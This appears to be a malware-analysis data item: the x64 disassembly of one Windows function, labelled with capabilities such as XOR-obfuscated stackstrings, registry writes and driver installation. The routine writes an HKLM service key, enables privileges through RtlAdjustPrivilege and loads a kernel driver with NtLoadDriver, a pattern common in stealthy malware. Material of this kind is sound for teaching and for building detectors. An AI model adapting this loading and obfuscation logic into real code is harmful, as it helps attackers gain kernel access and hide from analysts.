Function at 0x140077460
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Install driver
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rbx, rcx
lea rcx, [rbp + 0x70]
call fcn.14006fcc0
nop
mov dword [rsp + 0x30], 0x56b356ba
mov dword [rsp + 0x34], 0x56b856b8
mov dword [rsp + 0x38], 0x56a356a8
mov dword [rsp + 0x3c], 0x56b356b3
mov dword [rsp + 0x40], 0x56805684
mov dword [rsp + 0x44], 0x56915681
mov dword [rsp + 0x48], 0x5682569b
mov dword [rsp + 0x4c], 0x569756b4
mov dword [rsp + 0x50], 0x568e5697
mov dword [rsp + 0x54], 0x56935689
mov dword [rsp + 0x58], 0x56ad5691
mov dword [rsp + 0x5c], 0x5774569a
mov dword [rsp + 0x60], 0x5751575d
mov dword [rsp + 0x64], 0x57765766
mov dword [rsp + 0x68], 0x576f5773
mov dword [rsp + 0x6c], 0x576d5764
mov dword [rsp + 0x70], 0x5756577a
xor eax, eax
mov word [rsp + 0x74], ax
lea rcx, [rsp + 0x30]
call fcn.140078280
mov rdx, rax
lea r8, [rbp + 0x70]
lea rcx, [rbp + 0xb0]
call fcn.1400782b0
nop
mov dword [rbp - 0x34], 0x56d556b5
mov dword [rbp - 0x30], 0x56b056d4
xor eax, eax
mov word [rbp - 0x2c], ax
lea rcx, [rbp - 0x34]
call fcn.140078250
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x50]
call fcn.1400782b0
nop
lea rcx, [rbp + 0xb0]
call fcn.140060fb0
lea r8, [rbp + 0x128]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov edi, eax
test eax, eax
je 0x1400775eb
movdqa xmm0, xmmword [0x1400be2c0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x8e9e89d9
mov dword [rsp + 0x44], 0x659c978b
mov dword [rsp + 0x48], 0x7d666921
mov word [rsp + 0x4c], 0xf
xor ebx, ebx
nop
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rbx - 0x17]
xor byte [rcx], al
inc ebx
cmp ebx, 0x1d
jb 0x1400775c0
mov byte [rsp + 0x4d], 0
lea rcx, [rsp + 0x30]
call fcn.14006fb10
jmp 0x140077cde
mov eax, dword [rbp + 0x60]
lea edi, [rax + rax]
lea rcx, [rbp + 0x50]
call fcn.140060fb0
mov rbx, rax
mov dword [rsp + 0x30], 0x568756a0
mov dword [rsp + 0x34], 0x568b568a
mov dword [rsp + 0x38], 0x56be5688
mov dword [rsp + 0x3c], 0x5684568e
mov dword [rsp + 0x40], 0x5699
lea rcx, [rsp + 0x30]
call fcn.140060b80
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
mov r9d, 2
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov edi, eax
test eax, eax
je 0x1400776cb
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movdqa xmm0, xmmword [0x1400be2c0]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bde70]
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x50], 0x7e7f7960
mov dword [rsp + 0x54], 0x71792e74
mov dword [rsp + 0x58], 0x1e76677d
xor eax, eax
mov byte [rsp + 0x5c], al
xor ebx, ebx
nop
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rbx - 0x17]
xor byte [rcx], al
inc ebx
cmp ebx, 0x2c
jb 0x1400776a0
mov byte [rsp + 0x5c], 0
lea rcx, [rsp + 0x30]
call fcn.14006fb10
jmp 0x140077cde
mov dword [rsp + 0x30], 0x569356bd
mov dword [rsp + 0x34], 0x5689569b
xor eax, eax
mov word [rsp + 0x38], ax
lea rcx, [rsp + 0x30]
call fcn.140078250
mov dword [rsp + 0x28], 4
lea rcx, [0x1400bd344]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov edi, eax
mov rcx, qword [rbp + 0x128]
test eax, eax
je 0x14007778b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movdqa xmm0, xmmword [0x1400be2c0]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bdea0]
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x50], 0x606a7c29
mov dword [rsp + 0x54], 0x56b78
xor ebx, ebx
nop dword [rax]
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rbx - 0x17]
xor byte [rcx], al
inc ebx
cmp ebx, 0x27
jb 0x140077760
mov byte [rsp + 0x57], 0
lea rcx, [rsp + 0x30]
call fcn.14006fb10
jmp 0x140077cde
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x30], 0x569e5687
mov dword [rsp + 0x34], 0x5680568f
mov dword [rsp + 0x38], 0x56c05681
mov dword [rsp + 0x3c], 0x569c568b
mov dword [rsp + 0x40], 0x569d
lea rcx, [rsp + 0x30]
call fcn.140060b80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x1400777d9
lea edi, [rax + 1]
jmp 0x140077cde
lea r9, [rbp + 0x118]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov r9d, eax
movzx r8d, byte [rbp + 0x118]
movdqa xmm0, xmmword [0x1400be160]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bdf40]
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x50], 0x743b2a7a
mov dword [rsp + 0x54], 0x30235628
mov dword [rsp + 0x58], 0x197634
xor ebx, ebx
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x17]
xor byte [rcx], al
inc edx
cmp edx, 0x2b
jb 0x140077840
mov byte [rsp + 0x5b], bl
mov edx, r9d
lea rcx, [rsp + 0x30]
call fcn.14006fb10
lea r9, [rbp + 0x120]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0xa]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov edi, eax
movzx r8d, byte [rbp + 0x120]
movdqa xmm0, xmmword [0x1400be160]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bdf00]
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x50], 0x29733a29
mov dword [rsp + 0x54], 0x352f2255
mov word [rsp + 0x58], 0x1875
xor eax, eax
mov byte [rsp + 0x5a], al
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x17]
xor byte [rcx], al
inc edx
cmp edx, 0x2a
jb 0x1400778d0
mov byte [rsp + 0x5a], bl
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.14006fb10
test edi, edi
jns 0x14007798a
movdqa xmm0, xmmword [0x1400be180]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bdd20]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x1400bdcd0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400bdd30]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400bdd10]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400bd810]
movdqu xmmword [rbp - 0x80], xmm1
mov dword [rbp - 0x70], 0x6239253d
mov word [rbp - 0x6c], 0x47
nop
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rbx - 0x17]
xor byte [rcx], al
inc ebx
cmp ebx, 0x65
jb 0x140077960
mov byte [rbp - 0x6b], 0
lea rcx, [rsp + 0x30]
call fcn.14006fb10
jmp 0x140077cde
mov dword [rbp - 0x2a], 0x56b856b5
mov dword [rbp - 0x26], 0x568b568e
mov dword [rbp - 0x22], 0x569d5684
mov dword [rbp - 0x1e], 0x5682569b
mov dword [rbp - 0x1a], 0x56ae5688
mov dword [rbp - 0x16], 0x569556be
mov dword [rbp - 0x12], 0x569e5696
mov dword [rbp - 0xe], 0x5696569e
mov dword [rbp - 0xa], 0x56a6569c
mov dword [rbp - 6], 0x568556a8
mov dword [rbp - 2], 0x568a568e
mov dword [rbp + 2], 0x576d569a
mov dword [rbp + 6], 0x5741575d
mov dword [rbp + 0xa], 0x57765776
mov dword [rbp + 0xe], 0x57635777
mov dword [rbp + 0x12], 0x577c5769
mov dword [rbp + 0x16], 0x5765574a
mov dword [rbp + 0x1a], 0x57785765
mov dword [rbp + 0x1e], 0x5761577f
mov dword [rbp + 0x22], 0x57435763
mov dword [rbp + 0x26], 0x57665774
mov dword [rbp + 0x2a], 0x5747574f
mov dword [rbp + 0x2e], 0x57645770
mov dword [rbp + 0x32], 0x57715761
mov dword [rbp + 0x36], 0x577f577a
mov dword [rbp + 0x3a], 0x57405768
xor eax, eax
mov word [rbp + 0x3e], ax
lea rcx, [rbp - 0x2a]
call fcn.140078220
mov rdx, rax
lea r8, [rbp + 0x70]
lea rcx, [rbp + 0x90]
call fcn.1400782b0
nop
lea rcx, [rbp + 0x90]
call fcn.140060fb0
mov rdx, rax
lea rcx, [rbp + 0x40]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0x40]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov edi, eax
movdqa xmm0, xmmword [0x1400be020]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x9d8fa9d9
mov dword [rsp + 0x44], 0x208c8b89
mov dword [rsp + 0x48], 0x5c267a31
mov word [rsp + 0x4c], 0xf
mov edx, ebx
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x17]
xor byte [rcx], al
inc edx
cmp edx, 0x1d
jb 0x140077ac0
mov byte [rsp + 0x4d], 0
mov edx, edi
lea rcx, [rsp + 0x30]
call fcn.14006fb10
cmp edi, 0xc0000603
jne 0x140077cc8
movdqa xmm0, xmmword [0x1400be250]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bd800]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x1400bde90]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [str.xl_]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400bd790]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400bd840]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400bd860]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [str.__04__]
movdqu xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1400bd780]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x185b161c
mov dword [rbp - 0x3c], 0xe509170f
mov word [rbp - 0x38], 0x88f3
xor eax, eax
mov byte [rbp - 0x36], al
mov edx, ebx
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x17]
xor byte [rcx], al
inc edx
cmp edx, 0x9a
jb 0x140077b90
mov byte [rbp - 0x36], 0
lea rcx, [rsp + 0x30]
call fcn.14006fb10
movdqa xmm0, xmmword [0x1400be0c0]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bddb0]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x1400bdeb0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x1400bded0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400bdef0]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400bd8b0]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400bd8e0]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0x513d30
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rdx - 0x17]
xor byte [rcx], al
inc edx
cmp edx, 0x73
jb 0x140077c30
mov byte [rbp - 0x5d], 0
lea rcx, [rsp + 0x30]
call fcn.14006fb10
movdqa xmm0, xmmword [0x1400be260]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1400bdd80]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x1400bdec0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x683b7e6b
mov dword [rsp + 0x64], 0x2a2f3e72
xor eax, eax
mov byte [rsp + 0x68], al
nop word [rax + rax]
movsxd rax, ebx
lea rcx, [rsp + 0x30]
add rcx, rax
lea eax, [rbx - 0x17]
xor byte [rcx], al
inc ebx
cmp ebx, 0x38
jb 0x140077ca0
mov byte [rsp + 0x68], 0
lea rcx, [rsp + 0x30]
call fcn.14006fb10
jmp 0x140077cd1
cmp edi, 0xc000010e
cmove edi, ebx
lea rcx, [rbp + 0x90]
call fcn.140060d60
nop
lea rcx, [rbp + 0x50]
call fcn.140060d60
nop
lea rcx, [rbp + 0xb0]
call fcn.140060d60
nop
lea rcx, [rbp + 0x70]
call fcn.140060d60
mov eax, edi
mov rbx, qword [rsp + 0x210]
add rsp, 0x1d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret